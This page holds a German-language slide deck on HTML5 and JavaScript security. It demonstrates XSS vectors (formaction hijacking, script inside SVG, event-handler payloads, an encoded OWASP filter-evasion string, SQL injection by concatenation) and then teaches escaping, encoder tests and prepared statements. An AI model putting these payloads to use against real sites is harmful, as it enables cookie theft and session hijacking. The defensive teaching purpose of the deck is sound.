SlideShare a Scribd company logo
Security
bit.ly/HTML5Sec
Interaktive Version der Präsentation!
Created by Johannes Hoppe
JohannesHoppe.de
bit.ly/HTML5Sec
Interaktive Version der Präsentation!
ZielAngriffsvektoren aufzeigen.
Strategien besprechen.
Mehr nicht!
FeaturesNeue Angriffsvektoren
Ein Formular
Username:
Password:
Login
<form id="login" action="#">
Username: <input type="text" name="username">
Password: <input type="password" name="password">
<input type="submit" value="Login">
</form>
Formaction
Username:
Password:
Login
Klick mich!
<form id="login" action="#">
Username: <input type="text" name="username">
Password: <input type="password" name="password">
<input type="submit" value="Login">
</form>
<button type="submit" form="login" formaction="http://example.org">
Klick mich!
</button>
SVG
Presto, WebKit, Gecko und sogar Trident 9
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="40" height="40">
<circle cx="20" cy="20" r="15" fill="yellow" stroke="black"/>
<circle cx="15" cy="15" r="2" fill="black" stroke="black"/>
<circle cx="25" cy="15" r="2" fill="black" stroke="black"/>
<path d="M 13 26 A 5 3 0 0 0 27 26" stroke="black" fill="none" stroke
-width="2"/>
</svg>
SVG
kann JavaScript enthalten!
Test
<?xmlversion="1.0"?>
<svgxmlns="http://www.w3.org/2000/svg"width="200"height="50">
<defs><style> </style></defs>
<circlecx="20"cy="20"r="15"fill="yellow"stroke="black"/>
<circlecx="15"cy="15"r="2"fill="black"stroke="black"/>
<circlecx="25"cy="15"r="2"fill="black"stroke="black"/>
<pathd="M1326A530002726"stroke="black"fill="none"stroke-width="2"transform="rotate(180,2
0,28)"/>
<textx="11"y="50"id="display">Test</text>
<script>
</script>
</svg>
<![CDATA[text{font-size:6pt;}]]>
alert(document.cookie);
document.getElementById('display').textContent=document.cookie;
Business as usual
HTML5 es ist auch nicht schlimmer als HTML 4
» http://html5sec.org
XSSEingeschleuster JavaScript-Code
Oldies but Goldies
index.html?message=Daten gespeichert
index.html?message=<script>alert('XSS')</script>
<script>
var message = $.url().param('message');
if (message) {
Notifier.success(message);
}
</script>
Eval everywhere
Eval is evil
» Demo
<!-- Self-executing onFocus event via autoFocus -->
<input onfocus="alert('XSS onfocus')" autofocus>
<!-- Video OnError -->
<video><source onerror="javascript:alert('XSS onerror')"></video>
<!-- Presto only: Form surveillance -->
<form id=test onforminput=alert('XSS onforminput')>
<input>
</form>
<button form=test onformchange=alert('XSS onformchange')>X</button>
1 2 3
OWASPOpen Web Application Security Project
XSS Filter Evasion Cheat Sheet
<!-- Long UTF-8 Unicode encoding without semicolons -->
<IMG SRC="&#34&#32&#111&#110&#101&#114&#114&#111&#114&#61&#34&#97&#108&
#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">
» Old IE Demo
XSS Vorbeugen
1.Hier sollten dynamische
Daten niemals verwendet werden
<script> </script>
<!-- HIER -->
<div HIER="test"/>
<HIER href="test" />
<style> </style>
HIER
HIER
2.HTML escape
dynamic data
& → &amp;
< → &lt;
> → &gt;
" → &quot;
' → &apos; / &#39;
<div>HTML ESCAPE</div>
Testen?
function htmlEncode(input) {
// jquery.text == document.createTextNode
return ($('<div/>').text(input).html());
}
var saveFormat = function () {
var args = Array.prototype.slice.call(arguments);
var txt = args.shift();
$.each(args, function (i, item) {
item = htmlEncode(item);
txt = txt.replace("{" + i + "}", item);
});
return txt;
};
Testen!
describe("saveFormat", function () {
var original = '{0} - {1} - {2}';
it("should replace placeholders", function () {
var expected = 'A - B - C';
var formated = saveFormat(original, 'A', 'B', 'C');
expect(formated).toEqual(expected);
});
it("should encode injected content", function () {
var expected = 'A - &lt;b&gt;TEST&lt;/b&gt; - C';
var formated = saveFormat(original, 'A', '<b>TEST</b>', 'C');
expect(formated).toEqual(expected);
});
});
Test
finished in 0.004s
••
No try/catch
Jasmine 1.3.1 revision 1354556913
Passing2specs
saveFormat
should replace placeholders
should encode injected content
» Demo
Moment...
describe("saveFormat", function () {
var original = '<a title="{0}">Test</a>';
it("should replace quotes", function () {
var expected = '<a title="&quot;">Test</a>';
var formated = saveFormat(original, '"');
expect(formated).toEqual(expected);
});
});
Richtig testen!
finished in 0.005s
x
No try/catch
Jasmine 1.3.1 revision 1354556913
Failing1spec
1spec|1 failing
saveFormat should replace quotes.
Expected '<a title=""">Test</a>' to equal '<a
title="&quot;">Test</a>'.
Error: Expected '<a title=""">Test</a>' to equal '<a title="&quot;">Test</a>'.
at new jasmine.ExpectationResult (http://johanneshoppe.github.io/HTML5Security
at null.toEqual (http://johanneshoppe.github.io/HTML5Security/examples/jasmine
at null.<anonymous> (http://johanneshoppe.github.io/HTML5Security/examples/jas
at jasmine.Block.execute (http://johanneshoppe.github.io/HTML5Security/example
at jasmine.Queue.next_ (http://johanneshoppe.github.io/HTML5Security/examples/
» Demo
3.Attribute escape
dynamic data
a-z A-Z 0-9 → immun
, . - _ → immun
Rest → &#xHH;
<div attr="ATTRIBUTE ESCAPE"></div>
<!-- NIEMALS ohne quotes! -->
<div attr=ATTRIBUTE ESCAPE></div>
4. DO NOTJavaScript escape
dynamic data
HTML parser runs before the JavaScript parser!
you are doing it wrong
Das hier ist Alltag
UserList.cshtml / Kendo UI Template
# if(ID != 0) { #
<a href="javascript:DialogManager.ShowPartialDialog('@Url.Action("UserM
anagement", "Management")', { userId : '#= htmlEncode(ID) #' }, {title:
'#= htmlEncode(Alias) #'})"#= htmlEncode(Alias) #</a>
# } else { #
#= htmlEncode(Alias) #
# } #
?Offensichtlich läuft beim Umgang
mit Daten etwas prinzipiell falsch!
Storage
Egal
ob Cookies
ob Session Storage
ob Local Storage
ob WebSQL
die Daten sind nicht vertrauenswürdig!
Resident XSS
richtig fies!
Vertraulichen Informationen
gehören in die SERVER-Session!
Session Storage bevorzugen!
WebSQL
SQL Injection:
Prepared Statement:
executeSql("SELECT foo FROM bar WHERE value=" + value);
executeSql("SELECT foo FROM bar WHERE value=?", [value]);
Kommunikation
Mashups!
define(['jquery', 'knockout',
'knockout.mapping', 'domReady!'], function ($, ko, mapping) {
var url ='http://search.twitter.com/search.json?q=%23xss&callback=?';
$.getJSON(url).done(function (data) {
var viewModel = mapping.fromJS(data);
ko.applyBindings(viewModel, $('#tweets').get(0));
});
});
Loading...
JSON
JSON with Padding
{"hello": "world"}
<script>
</script>
<script src="http://search.twitter.com/search.json?q=%23dnc13&callback=
foo"></script>
var foo = function(json) {
$('#output').text(JSON.stringify(json, undefined, 2));
};
foo({"hello": "world"});
» Demo
JSONP
SOP
Same origin policy → Not macht erfinderisch (JSONP)
CORS
Cross-Origin Resource Sharing → Access-Control-Allow-Origin: *
WebSockets
do what you want
JS-Recon
Shell of the Future
2013-06-25 - HTML5 & JavaScript Security
Intranet == Internet
Danke!
blog.johanneshoppe.de
2013-06-25 - HTML5 & JavaScript Security
» Sicherheit von Web-Anwendungen
Ad

Recommended

QA for PHP projects
QA for PHP projects
Michelangelo van Dam
 
2013 05-03 - HTML5 & JavaScript Security
2013 05-03 - HTML5 & JavaScript Security
Johannes Hoppe
 
Automated testing for client-side - Adam Klein, 500 Tech
Automated testing for client-side - Adam Klein, 500 Tech
Codemotion Tel Aviv
 
CSS in React - Will Change Transform
CSS in React - Will Change Transform
Joe Seifi
 
What's new in Rails 2?
What's new in Rails 2?
brynary
 
1cst
1cst
Griffinder VinHai
 
Phoenix for laravel developers
Phoenix for laravel developers
Luiz Messias
 
The Code
The Code
Gary Barber
 
Geek Moot '09 -- Smarty 101
Geek Moot '09 -- Smarty 101
Ted Kulp
 
Cloud Entwicklung mit Apex
Cloud Entwicklung mit Apex
Aptly GmbH
 
МИХАЙЛО БОДНАРЧУК «SuperCharged End to End Testing with CodeceptJS» QADay 2019
МИХАЙЛО БОДНАРЧУК «SuperCharged End to End Testing with CodeceptJS» QADay 2019
QADay
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
Michelangelo van Dam
 
Lettering js
Lettering js
davatron5000
 
Html
Html
g Nama
 
jQuery Plugin Creation
jQuery Plugin Creation
benalman
 
Maintainable JavaScript 2012
Maintainable JavaScript 2012
Nicholas Zakas
 
Intro to OAuth
Intro to OAuth
mfrost503
 
Basics of Java Script (JS)
Basics of Java Script (JS)
Ajay Khatri
 
14922 java script built (1)
14922 java script built (1)
dineshrana201992
 
Java Script
Java Script
Kalidass Balasubramaniam
 
JavaScript Needn't Hurt!
JavaScript Needn't Hurt!
Thomas Kjeldahl Nilsson
 
前端概述
前端概述
Ethan Zhang
 
Plugin jQuery, Design Patterns
Plugin jQuery, Design Patterns
Robert Casanova
 
Desafios do Profissionalismo Ágil
Desafios do Profissionalismo Ágil
Victor Hugo Germano
 
Making and Breaking Web Services with Ruby
Making and Breaking Web Services with Ruby
err
 
Compatibility Detector Tool of Chrome extensions
Compatibility Detector Tool of Chrome extensions
Kai Cui
 
날로 먹는 Django admin 활용
날로 먹는 Django admin 활용
KyeongMook "Kay" Cha
 
RIA 08 - AJAX and jQuery
RIA 08 - AJAX and jQuery
Johannes Hoppe
 
Einführung in Angular 2
Einführung in Angular 2
Johannes Hoppe
 
2012-06-25 - MapReduce auf Azure
2012-06-25 - MapReduce auf Azure
Johannes Hoppe
 

More Related Content

What's hot (19)

Geek Moot '09 -- Smarty 101
Geek Moot '09 -- Smarty 101
Ted Kulp
 
Cloud Entwicklung mit Apex
Cloud Entwicklung mit Apex
Aptly GmbH
 
МИХАЙЛО БОДНАРЧУК «SuperCharged End to End Testing with CodeceptJS» QADay 2019
МИХАЙЛО БОДНАРЧУК «SuperCharged End to End Testing with CodeceptJS» QADay 2019
QADay
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
Michelangelo van Dam
 
Lettering js
Lettering js
davatron5000
 
Html
Html
g Nama
 
jQuery Plugin Creation
jQuery Plugin Creation
benalman
 
Maintainable JavaScript 2012
Maintainable JavaScript 2012
Nicholas Zakas
 
Intro to OAuth
Intro to OAuth
mfrost503
 
Basics of Java Script (JS)
Basics of Java Script (JS)
Ajay Khatri
 
14922 java script built (1)
14922 java script built (1)
dineshrana201992
 
Java Script
Java Script
Kalidass Balasubramaniam
 
JavaScript Needn't Hurt!
JavaScript Needn't Hurt!
Thomas Kjeldahl Nilsson
 
前端概述
前端概述
Ethan Zhang
 
Plugin jQuery, Design Patterns
Plugin jQuery, Design Patterns
Robert Casanova
 
Desafios do Profissionalismo Ágil
Desafios do Profissionalismo Ágil
Victor Hugo Germano
 
Making and Breaking Web Services with Ruby
Making and Breaking Web Services with Ruby
err
 
Compatibility Detector Tool of Chrome extensions
Compatibility Detector Tool of Chrome extensions
Kai Cui
 
날로 먹는 Django admin 활용
날로 먹는 Django admin 활용
KyeongMook "Kay" Cha
 
Geek Moot '09 -- Smarty 101
Geek Moot '09 -- Smarty 101
Ted Kulp
 
Cloud Entwicklung mit Apex
Cloud Entwicklung mit Apex
Aptly GmbH
 
МИХАЙЛО БОДНАРЧУК «SuperCharged End to End Testing with CodeceptJS» QADay 2019
МИХАЙЛО БОДНАРЧУК «SuperCharged End to End Testing with CodeceptJS» QADay 2019
QADay
 
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
UA testing with Selenium and PHPUnit - PHPBenelux Summer BBQ
Michelangelo van Dam
 
jQuery Plugin Creation
jQuery Plugin Creation
benalman
 
Maintainable JavaScript 2012
Maintainable JavaScript 2012
Nicholas Zakas
 
Intro to OAuth
Intro to OAuth
mfrost503
 
Basics of Java Script (JS)
Basics of Java Script (JS)
Ajay Khatri
 
14922 java script built (1)
14922 java script built (1)
dineshrana201992
 
Plugin jQuery, Design Patterns
Plugin jQuery, Design Patterns
Robert Casanova
 
Desafios do Profissionalismo Ágil
Desafios do Profissionalismo Ágil
Victor Hugo Germano
 
Making and Breaking Web Services with Ruby
Making and Breaking Web Services with Ruby
err
 
Compatibility Detector Tool of Chrome extensions
Compatibility Detector Tool of Chrome extensions
Kai Cui
 
날로 먹는 Django admin 활용
날로 먹는 Django admin 활용
KyeongMook "Kay" Cha
 

Viewers also liked (7)

RIA 08 - AJAX and jQuery
RIA 08 - AJAX and jQuery
Johannes Hoppe
 
Einführung in Angular 2
Einführung in Angular 2
Johannes Hoppe
 
2012-06-25 - MapReduce auf Azure
2012-06-25 - MapReduce auf Azure
Johannes Hoppe
 
MDC kompakt 2014: Hybride Apps mit Cordova, AngularJS und Ionic
MDC kompakt 2014: Hybride Apps mit Cordova, AngularJS und Ionic
Johannes Hoppe
 
2015 02-09 - NoSQL Vorlesung Mosbach
2015 02-09 - NoSQL Vorlesung Mosbach
Johannes Hoppe
 
Ajax.ppt
Ajax.ppt
MAGNA COLLEGE OF ENGINEERING
 
Ajax ppt - 32 slides
Ajax ppt - 32 slides
Smithss25
 
RIA 08 - AJAX and jQuery
RIA 08 - AJAX and jQuery
Johannes Hoppe
 
Einführung in Angular 2
Einführung in Angular 2
Johannes Hoppe
 
2012-06-25 - MapReduce auf Azure
2012-06-25 - MapReduce auf Azure
Johannes Hoppe
 
MDC kompakt 2014: Hybride Apps mit Cordova, AngularJS und Ionic
MDC kompakt 2014: Hybride Apps mit Cordova, AngularJS und Ionic
Johannes Hoppe
 
2015 02-09 - NoSQL Vorlesung Mosbach
2015 02-09 - NoSQL Vorlesung Mosbach
Johannes Hoppe
 
Ajax ppt - 32 slides
Ajax ppt - 32 slides
Smithss25
 
Ad

More from Johannes Hoppe (20)

2017 - NoSQL Vorlesung Mosbach
2017 - NoSQL Vorlesung Mosbach
Johannes Hoppe
 
NoSQL - Hands on
NoSQL - Hands on
Johannes Hoppe
 
2013-06-24 - Software Craftsmanship with JavaScript
2013-06-24 - Software Craftsmanship with JavaScript
Johannes Hoppe
 
2013-06-15 - Software Craftsmanship mit JavaScript
2013-06-15 - Software Craftsmanship mit JavaScript
Johannes Hoppe
 
2013-03-23 - NoSQL Spartakiade
2013-03-23 - NoSQL Spartakiade
Johannes Hoppe
 
2013 02-26 - Software Tests with Mongo db
2013 02-26 - Software Tests with Mongo db
Johannes Hoppe
 
2013-02-21 - .NET UG Rhein-Neckar: JavaScript Best Practices
2013-02-21 - .NET UG Rhein-Neckar: JavaScript Best Practices
Johannes Hoppe
 
2012-10-16 - WebTechCon 2012: HTML5 & WebGL
2012-10-16 - WebTechCon 2012: HTML5 & WebGL
Johannes Hoppe
 
2012-10-12 - NoSQL in .NET - mit Redis und Mongodb
2012-10-12 - NoSQL in .NET - mit Redis und Mongodb
Johannes Hoppe
 
2012-09-18 - HTML5 & WebGL
2012-09-18 - HTML5 & WebGL
Johannes Hoppe
 
2012-09-17 - WDC12: Node.js & MongoDB
2012-09-17 - WDC12: Node.js & MongoDB
Johannes Hoppe
 
2012-08-29 - NoSQL Bootcamp (Redis, RavenDB & MongoDB für .NET Entwickler)
2012-08-29 - NoSQL Bootcamp (Redis, RavenDB & MongoDB für .NET Entwickler)
Johannes Hoppe
 
2012-05-14 NoSQL in .NET - mit Redis und MongoDB
2012-05-14 NoSQL in .NET - mit Redis und MongoDB
Johannes Hoppe
 
2012-05-10 - UG Karlsruhe: NoSQL in .NET - mit Redis und MongoDB
2012-05-10 - UG Karlsruhe: NoSQL in .NET - mit Redis und MongoDB
Johannes Hoppe
 
2012-04-12 - AOP .NET UserGroup Niederrhein
2012-04-12 - AOP .NET UserGroup Niederrhein
Johannes Hoppe
 
2012-03-20 - Getting started with Node.js and MongoDB on MS Azure
2012-03-20 - Getting started with Node.js and MongoDB on MS Azure
Johannes Hoppe
 
2012-01-31 NoSQL in .NET
2012-01-31 NoSQL in .NET
Johannes Hoppe
 
2011-12-13 NoSQL aus der Praxis
2011-12-13 NoSQL aus der Praxis
Johannes Hoppe
 
2011-06-27 - AOP - .NET User Group Rhein Neckar
2011-06-27 - AOP - .NET User Group Rhein Neckar
Johannes Hoppe
 
DMDW 8. Student Presentation - Groovy to MongoDB
DMDW 8. Student Presentation - Groovy to MongoDB
Johannes Hoppe
 
2017 - NoSQL Vorlesung Mosbach
2017 - NoSQL Vorlesung Mosbach
Johannes Hoppe
 
2013-06-24 - Software Craftsmanship with JavaScript
2013-06-24 - Software Craftsmanship with JavaScript
Johannes Hoppe
 
2013-06-15 - Software Craftsmanship mit JavaScript
2013-06-15 - Software Craftsmanship mit JavaScript
Johannes Hoppe
 
2013-03-23 - NoSQL Spartakiade
2013-03-23 - NoSQL Spartakiade
Johannes Hoppe
 
2013 02-26 - Software Tests with Mongo db
2013 02-26 - Software Tests with Mongo db
Johannes Hoppe
 
2013-02-21 - .NET UG Rhein-Neckar: JavaScript Best Practices
2013-02-21 - .NET UG Rhein-Neckar: JavaScript Best Practices
Johannes Hoppe
 
2012-10-16 - WebTechCon 2012: HTML5 & WebGL
2012-10-16 - WebTechCon 2012: HTML5 & WebGL
Johannes Hoppe
 
2012-10-12 - NoSQL in .NET - mit Redis und Mongodb
2012-10-12 - NoSQL in .NET - mit Redis und Mongodb
Johannes Hoppe
 
2012-09-18 - HTML5 & WebGL
2012-09-18 - HTML5 & WebGL
Johannes Hoppe
 
2012-09-17 - WDC12: Node.js & MongoDB
2012-09-17 - WDC12: Node.js & MongoDB
Johannes Hoppe
 
2012-08-29 - NoSQL Bootcamp (Redis, RavenDB & MongoDB für .NET Entwickler)
2012-08-29 - NoSQL Bootcamp (Redis, RavenDB & MongoDB für .NET Entwickler)
Johannes Hoppe
 
2012-05-14 NoSQL in .NET - mit Redis und MongoDB
2012-05-14 NoSQL in .NET - mit Redis und MongoDB
Johannes Hoppe
 
2012-05-10 - UG Karlsruhe: NoSQL in .NET - mit Redis und MongoDB
2012-05-10 - UG Karlsruhe: NoSQL in .NET - mit Redis und MongoDB
Johannes Hoppe
 
2012-04-12 - AOP .NET UserGroup Niederrhein
2012-04-12 - AOP .NET UserGroup Niederrhein
Johannes Hoppe
 
2012-03-20 - Getting started with Node.js and MongoDB on MS Azure
2012-03-20 - Getting started with Node.js and MongoDB on MS Azure
Johannes Hoppe
 
2012-01-31 NoSQL in .NET
2012-01-31 NoSQL in .NET
Johannes Hoppe
 
2011-12-13 NoSQL aus der Praxis
2011-12-13 NoSQL aus der Praxis
Johannes Hoppe
 
2011-06-27 - AOP - .NET User Group Rhein Neckar
2011-06-27 - AOP - .NET User Group Rhein Neckar
Johannes Hoppe
 
DMDW 8. Student Presentation - Groovy to MongoDB
DMDW 8. Student Presentation - Groovy to MongoDB
Johannes Hoppe
 
Ad

Recently uploaded (20)

Artificial Intelligence in the Nonprofit Boardroom.pdf
Artificial Intelligence in the Nonprofit Boardroom.pdf
OnBoard
 
AI VIDEO MAGAZINE - June 2025 - r/aivideo
AI VIDEO MAGAZINE - June 2025 - r/aivideo
1pcity Studios, Inc
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Alliance
 
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
 
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
Bridging the divide: A conversation on tariffs today in the book industry - T...
Bridging the divide: A conversation on tariffs today in the book industry - T...
BookNet Canada
 
Reducing Conflicts and Increasing Safety Along the Cycling Networks of East-F...
Reducing Conflicts and Increasing Safety Along the Cycling Networks of East-F...
Safe Software
 
Edge-banding-machines-edgeteq-s-200-en-.pdf
Edge-banding-machines-edgeteq-s-200-en-.pdf
AmirStern2
 
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Alliance
 
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
 
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Alliance
 
High Availability On-Premises FME Flow.pdf
High Availability On-Premises FME Flow.pdf
Safe Software
 
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
 
MuleSoft for AgentForce : Topic Center and API Catalog
MuleSoft for AgentForce : Topic Center and API Catalog
shyamraj55
 
Crypto Super 500 - 14th Report - June2025.pdf
Crypto Super 500 - 14th Report - June2025.pdf
Stephen Perrenod
 
Providing an OGC API Processes REST Interface for FME Flow
Providing an OGC API Processes REST Interface for FME Flow
Safe Software
 
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Alliance
 
FME for Good: Integrating Multiple Data Sources with APIs to Support Local Ch...
FME for Good: Integrating Multiple Data Sources with APIs to Support Local Ch...
Safe Software
 
Artificial Intelligence in the Nonprofit Boardroom.pdf
Artificial Intelligence in the Nonprofit Boardroom.pdf
OnBoard
 
AI VIDEO MAGAZINE - June 2025 - r/aivideo
AI VIDEO MAGAZINE - June 2025 - r/aivideo
1pcity Studios, Inc
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Alliance
 
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
 
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
Bridging the divide: A conversation on tariffs today in the book industry - T...
Bridging the divide: A conversation on tariffs today in the book industry - T...
BookNet Canada
 
Reducing Conflicts and Increasing Safety Along the Cycling Networks of East-F...
Reducing Conflicts and Increasing Safety Along the Cycling Networks of East-F...
Safe Software
 
Edge-banding-machines-edgeteq-s-200-en-.pdf
Edge-banding-machines-edgeteq-s-200-en-.pdf
AmirStern2
 
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Alliance
 
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
Tech-ASan: Two-stage check for Address Sanitizer - Yixuan Cao.pdf
caoyixuan2019
 
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Alliance
 
High Availability On-Premises FME Flow.pdf
High Availability On-Premises FME Flow.pdf
Safe Software
 
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
 
MuleSoft for AgentForce : Topic Center and API Catalog
MuleSoft for AgentForce : Topic Center and API Catalog
shyamraj55
 
Crypto Super 500 - 14th Report - June2025.pdf
Crypto Super 500 - 14th Report - June2025.pdf
Stephen Perrenod
 
Providing an OGC API Processes REST Interface for FME Flow
Providing an OGC API Processes REST Interface for FME Flow
Safe Software
 
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Alliance
 
FME for Good: Integrating Multiple Data Sources with APIs to Support Local Ch...
FME for Good: Integrating Multiple Data Sources with APIs to Support Local Ch...
Safe Software
 

2013-06-25 - HTML5 & JavaScript Security

  • 1. Security bit.ly/HTML5Sec Interaktive Version der Präsentation! Created by Johannes Hoppe
  • 5. Ein Formular Username: Password: Login <form id="login" action="#"> Username: <input type="text" name="username"> Password: <input type="password" name="password"> <input type="submit" value="Login"> </form>
  • 6. Formaction Username: Password: Login Klick mich! <form id="login" action="#"> Username: <input type="text" name="username"> Password: <input type="password" name="password"> <input type="submit" value="Login"> </form> <button type="submit" form="login" formaction="http://example.org"> Klick mich! </button>
  • 7. SVG Presto, WebKit, Gecko und sogar Trident 9 <?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg" width="40" height="40"> <circle cx="20" cy="20" r="15" fill="yellow" stroke="black"/> <circle cx="15" cy="15" r="2" fill="black" stroke="black"/> <circle cx="25" cy="15" r="2" fill="black" stroke="black"/> <path d="M 13 26 A 5 3 0 0 0 27 26" stroke="black" fill="none" stroke -width="2"/> </svg>
  • 8. SVG kann JavaScript enthalten! Test <?xmlversion="1.0"?> <svgxmlns="http://www.w3.org/2000/svg"width="200"height="50"> <defs><style> </style></defs> <circlecx="20"cy="20"r="15"fill="yellow"stroke="black"/> <circlecx="15"cy="15"r="2"fill="black"stroke="black"/> <circlecx="25"cy="15"r="2"fill="black"stroke="black"/> <pathd="M1326A530002726"stroke="black"fill="none"stroke-width="2"transform="rotate(180,2 0,28)"/> <textx="11"y="50"id="display">Test</text> <script> </script> </svg> <![CDATA[text{font-size:6pt;}]]> alert(document.cookie); document.getElementById('display').textContent=document.cookie;
  • 9. Business as usual HTML5 es ist auch nicht schlimmer als HTML 4 » http://html5sec.org
  • 11. Oldies but Goldies index.html?message=Daten gespeichert index.html?message=<script>alert('XSS')</script> <script> var message = $.url().param('message'); if (message) { Notifier.success(message); } </script>
  • 12. Eval everywhere Eval is evil » Demo <!-- Self-executing onFocus event via autoFocus --> <input onfocus="alert('XSS onfocus')" autofocus> <!-- Video OnError --> <video><source onerror="javascript:alert('XSS onerror')"></video> <!-- Presto only: Form surveillance --> <form id=test onforminput=alert('XSS onforminput')> <input> </form> <button form=test onformchange=alert('XSS onformchange')>X</button> 1 2 3
  • 13. OWASPOpen Web Application Security Project XSS Filter Evasion Cheat Sheet <!-- Long UTF-8 Unicode encoding without semicolons --> <IMG SRC="&#34&#32&#111&#110&#101&#114&#114&#111&#114&#61&#34&#97&#108& #101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59"> » Old IE Demo
  • 15. 1.Hier sollten dynamische Daten niemals verwendet werden <script> </script> <!-- HIER --> <div HIER="test"/> <HIER href="test" /> <style> </style> HIER HIER
  • 16. 2.HTML escape dynamic data & → &amp; < → &lt; > → &gt; " → &quot; ' → &apos; / &#39; <div>HTML ESCAPE</div>
  • 17. Testen? function htmlEncode(input) { // jquery.text == document.createTextNode return ($('<div/>').text(input).html()); } var saveFormat = function () { var args = Array.prototype.slice.call(arguments); var txt = args.shift(); $.each(args, function (i, item) { item = htmlEncode(item); txt = txt.replace("{" + i + "}", item); }); return txt; };
  • 18. Testen! describe("saveFormat", function () { var original = '{0} - {1} - {2}'; it("should replace placeholders", function () { var expected = 'A - B - C'; var formated = saveFormat(original, 'A', 'B', 'C'); expect(formated).toEqual(expected); }); it("should encode injected content", function () { var expected = 'A - &lt;b&gt;TEST&lt;/b&gt; - C'; var formated = saveFormat(original, 'A', '<b>TEST</b>', 'C'); expect(formated).toEqual(expected); }); });
  • 19. Test finished in 0.004s •• No try/catch Jasmine 1.3.1 revision 1354556913 Passing2specs saveFormat should replace placeholders should encode injected content » Demo
  • 20. Moment... describe("saveFormat", function () { var original = '<a title="{0}">Test</a>'; it("should replace quotes", function () { var expected = '<a title="&quot;">Test</a>'; var formated = saveFormat(original, '"'); expect(formated).toEqual(expected); }); });
  • 21. Richtig testen! finished in 0.005s x No try/catch Jasmine 1.3.1 revision 1354556913 Failing1spec 1spec|1 failing saveFormat should replace quotes. Expected '<a title=""">Test</a>' to equal '<a title="&quot;">Test</a>'. Error: Expected '<a title=""">Test</a>' to equal '<a title="&quot;">Test</a>'. at new jasmine.ExpectationResult (http://johanneshoppe.github.io/HTML5Security at null.toEqual (http://johanneshoppe.github.io/HTML5Security/examples/jasmine at null.<anonymous> (http://johanneshoppe.github.io/HTML5Security/examples/jas at jasmine.Block.execute (http://johanneshoppe.github.io/HTML5Security/example at jasmine.Queue.next_ (http://johanneshoppe.github.io/HTML5Security/examples/ » Demo
  • 22. 3.Attribute escape dynamic data a-z A-Z 0-9 → immun , . - _ → immun Rest → &#xHH; <div attr="ATTRIBUTE ESCAPE"></div> <!-- NIEMALS ohne quotes! --> <div attr=ATTRIBUTE ESCAPE></div>
  • 23. 4. DO NOTJavaScript escape dynamic data HTML parser runs before the JavaScript parser! you are doing it wrong
  • 24. Das hier ist Alltag UserList.cshtml / Kendo UI Template # if(ID != 0) { # <a href="javascript:DialogManager.ShowPartialDialog('@Url.Action("UserM anagement", "Management")', { userId : '#= htmlEncode(ID) #' }, {title: '#= htmlEncode(Alias) #'})"#= htmlEncode(Alias) #</a> # } else { # #= htmlEncode(Alias) # # } #
  • 25. ?Offensichtlich läuft beim Umgang mit Daten etwas prinzipiell falsch!
  • 27. Egal ob Cookies ob Session Storage ob Local Storage ob WebSQL die Daten sind nicht vertrauenswürdig!
  • 31. WebSQL SQL Injection: Prepared Statement: executeSql("SELECT foo FROM bar WHERE value=" + value); executeSql("SELECT foo FROM bar WHERE value=?", [value]);
